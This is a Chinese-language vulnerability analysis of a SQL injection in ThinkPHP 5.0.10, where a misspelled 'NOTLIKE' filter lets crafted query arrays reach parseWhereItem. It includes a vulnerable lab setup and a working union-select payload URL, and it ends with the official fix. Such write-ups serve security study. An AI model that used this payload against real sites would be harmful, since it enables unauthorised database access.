漏洞简介 传入的参数默认都会经过filterExp
方法过滤,但是这次NOT LIKE
被写成了NOTLIKE
,过滤失效,在parseWhereItem
中经过拼接造成了sql报错注入
环境配置 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 composer create -project "require" : { "php" : ">=5.4.0" , "topthink/framework" : "5.0.10" }, composer update 在application/index /controller/Index.php添加 <?php namespace app\index \controller; class Index { public function index() { $username = request()->get('username/a'); $result = db('users')->where(['username' => $username])->select(); var_dump($result); } } 在数据库添加 create database tpdemo;use tpdemo;create table users ( id int primary key auto_increment, username varchar (50 ) not null ); insert into users (id ,username) values (1 ,'mochazz' );在appliaction的config和database配置数据库并将app_debug和app_trace修改为true
payload 1 http://localhost/index.php/index/index?username[0]=not like&username[1][0]=%%&username[1][1]=233&username[2]=) union select 1 ,user ()%23
在后台拼接成如下语句
漏洞分析 where
用于指定AND查询条件,这里我们进入select
方法直奔主题 这里进入了Builder类的select
方法 在这里生成查询sql语句,问题出现在parseWhere
里面,跟进 在此处进入了parsewhereItem,并且携带恶意sql语句 在上图处出现了sql语句的最终拼接,构成报错注入的sql语句
攻击总结
官方修复 将NOTLIKE
改回了NOT LIKE